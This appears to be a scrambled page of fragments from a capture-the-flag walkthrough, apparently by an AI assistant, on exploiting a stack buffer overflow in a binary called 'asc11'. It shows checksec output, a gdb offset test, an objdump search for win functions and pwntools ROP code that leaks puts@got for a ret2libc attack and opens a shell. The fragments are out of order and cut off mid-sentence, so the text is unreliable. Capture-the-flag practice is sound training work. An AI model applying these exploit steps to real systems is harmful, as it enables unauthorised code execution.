11 __link__ - Asc

p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge?

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc. asc 11

gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function: objdump -d asc11 | grep -E "win|system|shell" If

asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior: No canary, PIE off → easy ret2win/ret2libc

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ):

file asc11 checksec asc11 Output (example):

p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main'])